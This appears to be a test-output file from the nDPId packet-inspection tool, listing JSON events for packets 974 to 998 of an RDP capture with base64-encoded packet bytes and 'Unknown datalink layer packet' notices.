+00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":974,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":69952,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EflHnS25UBAf\/sJ9AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":974,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":975,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":70017,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhb0AAfwYoYcCoAo6sEAK5DT3NDkedLez5vRApUBD37+woAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":975,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":976,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":70043,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EflHnS3sUBAf\/MJMAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":976,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":977,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":70151,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhcEAAfwYoYMCoAo6sEAK5DT3NDkedLez5vRCbUBD3fewoAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":977,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":978,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":70249,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhcUAAfwYoX8CoAo6sEAK5DT3NDkedLez5vRENUBD3C+woAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":978,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00431{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":979,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":70388,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9EflHnS3sUBggAMYfAAAXAwMAOOAIO32NJwvzkN6MsuJcVq3htyxymUD+VOygNScw+wuAqVinPu36up4bmPnVleM0VNzkVicUYrEl"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":979,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":980,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":73826,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hckAAfwYoKcCoAo6sEAK5DT3NDkedLez5vRFKUBj2zjbDAAAXAwMAMAAAAAAAAAE4mGkmmG4m9EtJAQMcaSXzpwZ5L2FXv4TuZIYqX3ktDbxVqRBi0nb4+g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":980,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":981,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":73874,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EjZHnS4hUBAf\/sHYAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":981,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":982,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":74022,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhc0AAfwYjZMCoAo6sEAK5DT3NDkedLiH5vRFKUBD2zkazAAAXAwMGbwAAAAAAAAE5g+0iRhtDrxus7yGtoB96JkGedelf5LqxjvjTaIQSmdazyEAUpSzmifSVEVW0zl48Ojy\/WmDz3CrQo54tONdieOQRZyHBrWmtFDeep68YFOkHt+fnJVGVrcdJo9fjcn0wBwFAr3XeDEvLtwz\/9vRD5Wu4lUhmuGsxG5nyMiWjbigGEDId3H1SJzcTzdUTAGCuJtTF9ItnOsdNDNV9tFJ8AtfHARRWgWUNoRMpmgdBObaNfOrCPYuB8mmEexmlvI2Pb8CWSAPVyGWQRHI\/eWbdA6Wk4TSIztOQnjO+c+APb1+W\/6PHbyI+dyANZ5wzO4D79I7XvN1aOMP2ijM3ihItoVkdmDlVL+qm9cgCDUT4qindTQz+hoYruGNLPq4B3EKAzFbLVIBn6shxKWrOV5zPl0CsIlbuFBxmv4kdOLH2QVYGEas6t09kvlCR6AiSShyfLQbnGO6SYjF35EmZptZu0O9O935IlG5h9xBv4iYK4c\/caB8vX0kilhzmNiXi0T6s\/b0jMzMRkdH\/uhy9hDX5nBJEgrVFfCwXtNO0Ck5QkjrDoExNpSMGkYvh4dPpEbb7Qu0wPRzJSuWdJcv11qdvnFQqwwpEpGUsCDa6Wd4VFSv1Z+WqnOiEc8mA5jONiW\/9CifVM2rbuwTGvTmzD49SANhZtd4LL97neX3N32cf\/Nw1Wd4COjSgDhrTdZfMw+nmaOK\/PZt9DTo4Z2slIZp45Y3YC9\/vffmCXlnCZU\/3zqgl+0LGE0XpYNqyKqr+bX4Xboec1oX9s61mJxobopOtPHaGm6WxkyoJE9b\/ewOwIrdOgicfc+NAJolB\/JAUS3rnDeXVXgPxly2CvEG2BMiIjFIsJLFuWsGQnJTe0PUEbRK5UKE2Do9jMKDYUGrW2scsABCZ1ZapU1Zrlp40uvGlu34posqUH17c\/b+NddAWynOGVbxsxG+Uspyvupw65W+A2vzCp9LQmM4QJYTKhMbsg0PlEalxMJa7HLtH+bAFmCwC+uwITvfnPs\/p\/nEQX1bqVLLiZDhIQaG4Ws\/WvNH3GB9Ime5iiAvIKB9O4mnvCilzUoHBTm5DftgyswcqW8yTqBkFyiKWpgbwzRaC1aC1uFz2FRb5nHPevw0CBbkvPLgehFyjO+FQjdNxUJi2\/3xH3b7C5QRouNRzzPR6BssmeyZYNEGwAfpj9bmP3eIt8Ux\/JnhPYyZA2ftCgnrWqh0612CO5fkRpGJMf3TCRGFyri9567ElrneIaj13woBepmupa7vZilSUgcQgnyg7zmUFUNMD6V\/qpYJWxW2rvICAr0BSOSbQSAvs8Jsx9wUZIKykKhy9aB04hmUblYmmUsyLcONQZJgGkdjNsP5inw9WXa5jPIrmveAXhKLm6w\/MY5HGbDiIrP+uQxiqynCEW+xPwEU3zooQTOV9degVfUt9dzm89+8yFvnRBtFDkAjSZTAtnutx7Kunrl7uKpMTzQv4j\/dM5KXs2ziAGY0L13EW07ab+5K7M9SY3wOOhn3Gw95qpgPx2OgskMMqJBrVnHnTZoIATmZEFkGyBQuA6d92JUYsQKDm9wa7+wJs+KGrdeMoW5cMswRPSSU41Vi4usS4Ce057g1rG8272UqJ7WEZoYK6wjYrpIzSmtgG4if+QhD2s8JfJ00FSCL47F30ykQy2rdmxidvVZo5tlDQ"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":982,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":983,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":74075,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhdEAAfwYm4cCoAo6sEAK5DT3NDkedMxr5vRFKUBj2zimdAAAAh\/lEBhJLEGz1kNnJDcJsw8XDyQZUMJOef4Glf2l+6oEY8qLyz\/4f\/BHz4aLv3+OKUjub1D4QZxjvxLstS+65uDM\/epmL49RqqmxEbcu\/NBZLby6rKMPPYPnzEVSWUMNOYVsnJXI477pE32QPpVH4AIQxymq\/i3EXItRABX5APP+ZPB5D8Jp+sSHi+IrEiwtbPDV\/TQp4p42HKlb5IFtEPFAM5SM1eK7EHNuDFOH6xgqZ+\/ILxY\/+kMhX7iG3L4VQfBkPyNKKt7vudX0VDmjeg\/vHZjQQGb11kTBj9TAAIVZiEUwDREJbWU4Y1Omc7RuZOXNZNOenQ3POMHFyvdSdw6MF0WabDAokjLeiNG+GjG67Zrq49DEEQDs0rkSlJH6dw4TxCbvGRaCP8hhatnRu2SvfHZXA99IXV2OK2x0AnrYjwXRBH4ZxLdVyuO\/ysYsLHD93gDotC2s8zxgRjbXdBYYakT93Rsbg7zaWDz0cQWMXGU6RoCXi277z"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":983,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":984,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":74122,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EjZHnTSVUBAf9LtuAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":984,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":985,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":74238,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hdUAAfwYoJsCoAo6sEAK5DT3NDkedNJX5vRFKUBj2zhroAAAXAwMAMAAAAAAAAAE6M6ytnkZI4GI4LuEU7mM9b+d1XQVdgNTEh6++YJXxUsMz700WOC+qfw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":985,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":986,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":74274,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EjZHnTTKUBAf\/rsvAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":986,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":987,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":74476,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9EjZHnTTKUBggAHocAAAXAwMAMOAIO32NJwv0wzPnotxGjWA+\/Mowfgh91kbgfhB5wQR3nMNgL21vJn\/XJBUFep\/H9g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":987,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":988,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":74501,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhdkAAfwYjYcCoAo6sEAK5DT3NDkedNMr5vRFKUBD2zqvQAAAXAwMGbwAAAAAAAAE7eYX8g3kqayYmNoKu6l4WFGYRcy0\/hHPBCPGXZXBBIG\/IITMltskuFVT4z4RGzMyIwlzM8uBuQeAxlNsGQElU634kOEL1PASdGlv9UETDPCM3QniLjVvImty1fJteVYeU0Nbi16uCBdTGTABQdZg22U90Z4Gn7\/VgpH6os1Y4WtBdYRX86jl2OWwvYAmnSjHOBy8P1T2KIN2Fc14yr4292x78j5tCWF\/nOxMBg\/Dmc87aKSBLjgZa6wX05\/jLA24tNaLkcTpbIItX2UxdyZDeu2dEI+0larfkfQtoU1YpQC263bif3uOjjw23jZdY3kYoJJZ44iap5u79OHQQYWurdzqBWUdff\/1fz84CGpBsVZETDBX90IzD9vhDzzvcFZKOyDl7SUDIkcKKl4X71\/Ba+ecOowM5xqL4FOOpEyxqtn+aiw73pKYZHS\/Mmu+gWQIZqwsQ3\/wuj4mVNDYEyDnY\/JueCa2M8ZOcldiQ6VNrhFX6K5Gsm8qkTwmwekSAbUjgFlizalMjPTMRoHuANIQjpQ2OD\/hFIJ\/bn+N7rajWhMZ3BSkvI0s+at7WpsgVOQBanHqvkTVIng9xRbjQljaVOwQyUaHDaO1g2VgGEycwyIy9IJIfYDIh\/E1fzemOSq\/YpIKN8zyMO24IuMyqyhWlK5fJghM8CVAWqgkWzkHbkAmuhZaMsVfmy1+1gw2TOFWYniMOjtIII8fEu2fH7J7AU2EJEjNKbpdxuv\/KMEoAS7QHZPuXJIDoLqei8rO+YQ88y8lor2LpWWzbF3xRJyVynRPK32dXUQYPvleRBRz\/EmWNLb5\/EjbZQerIFcfZlQqR6W5DJ0bo85kNJCENpL7XIcuWnAZBi6pZyNA5KKZdCeR2Jr9SUcXxTXEzrmGuJ3WHhsPfSgePU5V3UaTlSTBnk0juzL+IJd07tv\/GSr8vkdCFvZisyD+85jRwZH960hIMcG8OLuGEWI7pjW76A16htzfeL4jaXFXw6Z0kq63RZwLY3dzXa8jbl7\/cPbzlI3k7e+Zg4qKXr0QrMbDmCu+LCP2wBmmWUVDoemUhNomiqdx6\/BCP7KkH9LfMOwMo7voVogME3gwm5afqujUlgJGTF6B7zUceNaRBxwoZhCjVexPGbLKV5T4ajRVBUad2eSJKyYeWasz8oep+cg1ctWVXxRxqoPZjIsY0yMw2qpqPHZo5VreYOt9t2unBvEdrE2O2c\/N4roqhwZvakpCX8cR\/AzvVsWJPqzQhPPbANSGOQVjg1yyJ+q6g4HVtoyznOHBc9JApy5IzhAza62L\/x+f4XL6n2rl7b9+1a81kj0VQI5\/ZrXDz5VcUj3stVo5fU9ceQo8Kn9OKQGyn67srIRvtM+hbg+WJEblAhZdTG0+7yAb7DNgN3wx3JNYjJYo+rCMuluYsAb+D3NRhfMLAhIzDCn3VbYIHy4B4jrAI5oDpmQzVrmGjKK+2aaocDh597fAksH7qcRikWkaYUg8ztIbxCJLo2v068teugu3HBHM9ehYzQzxZAR80nsoR4zZZkVYMiafafHMH2beMFnTYWcIr6lEFoTXPyaKlgUX3FJyJCdObbK6MGeE9+Ns8r819LgAQh\/r+SP2p7BpwY1tkrmTk6CWbtj6fqrrmwNoJj9ZJzpvxUC3TgQG3WlIXNSkiXkqZs1En+39lMYmKSPNy"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":988,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":989,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":74557,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhd0AAfwYm3sCoAo6sEAK5DT3NDkedOcP5vRFKUBj2zkifAABglyUl8mqVqbaJnJVgQT\/XjWyog9Iuqe6fLXulfRiHxvV\/vdPbjdgoR5+NvWvbjC996cmtiA07saIho1t\/IIo2ZwNxOQjbsjc9awGSJ9zXiXCHEKIfhGpmMIVXW0r48CqXb3SEmdri\/apKrmUXLL3d9G1LPifzsyy2z5PBH\/OH1BoTJ1yJKEptrKnP56q+7\/c6urzemgxM+1bfxhP1ZJB5BPvckJgm3y2hM3PvDBmOlP7rqOv1lsUj4GxbMr8y2bjMWLS6HSaACX8B0OluQiBQW2EME2\/UxtesLJkuXPZfKfQIzTf3NOA57Fdq1RUwIrY0Y8P23f\/UvLwF24Ofx5\/uTYR+EhCnImtIR9cwRG1CRhVhTBxwdgf0JeVinzc2fd\/hFY3RQHhJfv6zWotVyL8G8gS0gWMBVtT0OurrOAddKpeGV0Wj8fclv02rfqwtc9dJvd1YRows5RY7+hpuLYV+SzDsXhlcbfDFJSGgqpShDZzjheTUkRrZsaE9"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":989,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":990,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":74595,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EmtHnTs+UBAf9LSQAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":990,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02081{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":991,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75184,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFheEAAfwYjX8CoAo6sEAK5DT3NDkedOz75vRFKUBD2ztdHAAAXAwMGbwAAAAAAAAE8uwCtI64Szp3RXeq6LztgXAbSt3CG5+7NVzw2CVkn\/ZqOAqO6KI8uDdAv6vRwPvudf9wJgL4Nd3kY0yvxs6It9Zkt6DgfFnW\/2ryrUP5oc9LdrwCSjt6sYNKUMcKX62eHeqi9N9mHm9oBpPEuPFVXMvM8Z2Jvip\/vMAqg\/KuKze3Yn7w4eTzIOdUjBfTrvcEQ2upFAzbKZ9nJKMPvzGUFkWTz0lAUUOCbijk5WTnvz6pVeUkeBkb+unfJHmcgqE8GAvHw3Sq9K0ixP1cVId3abmQ7RPCzdbtkZo3MAymHaoTDnZJzZW+XJOdqolQ68tDH4cABgp2nJ2dfBO\/wR2IqheJsPbxXbC7tp\/YA5dS1nBsrHvvZbpCm3FlJOoW9dPDp5b3k0d7SRIZQF4X\/GtZte1M5jaxG+xEinGQmGUs0y3MoiFxn8k+sJ2nB49fBqEK\/xHmuGfX24jxiCvQG1Ik79rxtZpKv7wfapQCRdjnphcQiEGF6rHI7CQVbr3YKuMbqXKvPk8NN5UshapsvjpfLgT0PKiaTW1hy+CIa+2eSDpAXdyL5mVyTJWWoh8Wlu5ozHXbMIsNyIL+T9TEIWbtXgBv1tQ8bDmLMTE60CF1MMIqInCgU1gn\/QpR1SXVlV\/E6tICzJ6kPMdnjhl56VIfVk\/Ekr2Uo07RiftJQ4Kq9xhSq+g3nunPWVHIZbjP9iElj\/\/1YZ7AZHdPoOLL7299exruTub8TYsyAtEKG6yilXzWvArNMlWYdDafdxZb\/kjMYOgGGeLUAZtCRtHeTB58zf0BRmE1cjT0KxmCobTJdjO7GF3QonEyUR0gMp98M6LY0COMjrzeYOgXmpghEUJiaR89OVXI+IRCIlNI2Aia26GmJXnU1ERRCEV49R2lomhO4SexbHvjAwLVZxb5lgZRLP0naaJiM\/SppgEFLWCKPzbc6kv8y3u+VtYWKImCaeJ\/xZlRcDRI0MAbfdaty5tK9dyQPIi\/Chz\/v1KjtH7BviQ4E9nUcfIOZ5y\/BOKIUjOTGLUDH9qiBdZWyPqrE2MiR+y9\/N4wdAu5Vyrl1rORUPEI2+a+dDH7\/VKKF9QmHbZCuK7whFAeFoS2x6Pc3PuiV32nhJ1kICg51HzBvVfT4WeicXMIsWBx+9VmemiV106m\/EJBzhyGYA59+O5oMzZI1eO23pTi5Hbph1m3AuoRcHbtM\/1Yxqeel6agBwc+nWsh+nSF+n31bby9Y+aQ+nr976M5gl\/5ZUR2Hz3uaSanQUcaT\/UsZGgx2a7YVc4O0JBst3YK+sYWEs3VJxN0udYlGI1EQNPMEO0ewZqp42m1fcGwSjaEFwDrzq+EnjEDAtCeAFwodpCQOPUsv74tmtKHcwWfxmaXgyL7JoeETfIW8w8eK5565+IkX490Q0d+xfue0kDTcvgeYDxj7VjCLozKnEDM5AhLJv5oegrWk573G4p\/emcaTWgQv6zaxnGiRHawzb3SV+DyQMg2FiDDtyNg+vCf1Ub+vwiL7+BXZjYhK7BwU5UTCCBh4pTf\/8G0i5HH4F9cy94\/dfm1qAPDQHfj0d5diEHIJjE\/GVHjY1AbAG9vE18wbxowUJnlLVDxZyVAOh1Q\/Z0ZN6Y8uyHk1daY\/Wb+saxJ\/HodgFm82Cg9G1QN7pT95ryXJjuF0w7JRuOwa9JwWaH1DLLQwmEFY"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":991,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":992,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75230,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNheUAAfwYm3MCoAo6sEAK5DT3NDkedQDf5vRFKUBj2zuJAAAChCW\/e0a5ikWvHUqiVZqLyzZ\/DRLVf55t7Da4IPS4bEOZPkccMh9J76ZEvqfnVaCr3GcTQxZdrgn8M4pNqDIPjX7qo8cGTTywEmN+0f1FmxCckNgYk5p\/h8Ks6wZRUmvV8CCQEy2034JUL6xSB6BetFSnd7tk\/7WbAv7TKmzDjE63q8v4FPd9XESZyE8vGN3u6bjHgVMeHc37ywOhlgxXUHkk9E+\/twhSB7+jZjGKcVlW1NdkOwkcWL\/vq6+Atktmoo9FVN0vLZnHl3SC+AHhT7j0IHmgLK2K5y66rpRW55bIVYQDLwZWikT+qClgUcddslpESHch828MIDyrgm0fn02fcnV+wGxcBZLO5WRCINDhe\/0X+pjOYAc24LFyWRPk1vdFMo6k7nHxU\/BAUa6Y9GHyl28C6OHNYwGFVbWZBfTDHJ7uU7Sb9hdj8ksx8Yr60DVJDulevKokMj3EuQEp6HYH3dYZzjiNGpO8COQkL3\/pZJKT99yvLl5Yl"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":992,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":993,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75272,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EmtHnUGyUBAf9K4cAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":993,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":994,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75434,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hekAAfwYoIcCoAo6sEAK5DT3NDkedQbL5vRFKUBj2zg2sAAAXAwMAMAAAAAAAAAE93wptMKjFFid1yCev+S4AKU+9FWQ64xI8rnlKbAdtbyGjj+yzneeDaw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":994,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":995,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75466,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1he0AAfwYoIMCoAo6sEAK5DT3NDkedQef5vRFKUBj2zgrxAAAXAwMAMAAAAAAAAAE+vspc5QzSYxdnWF8Y+zYYuy6ye3i776qUVE4BEpI+w3CgQiG7iquM4A=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":995,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":996,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75470,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EmtHnUHnUBAf\/q3dAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":996,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":997,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75512,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EmtHnUIcUBAf\/q2oAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":997,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00431{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":998,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":75714,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9EmtHnUIcUBggADzdAAAXAwMAOOAIO32NJwv1xUSTP9Fg0ZRLr2l0ZHbrCMhkiDMNLjR9prw9eDYD+o3lSxZv8q4wZNAjvVZR4icq"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":998,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 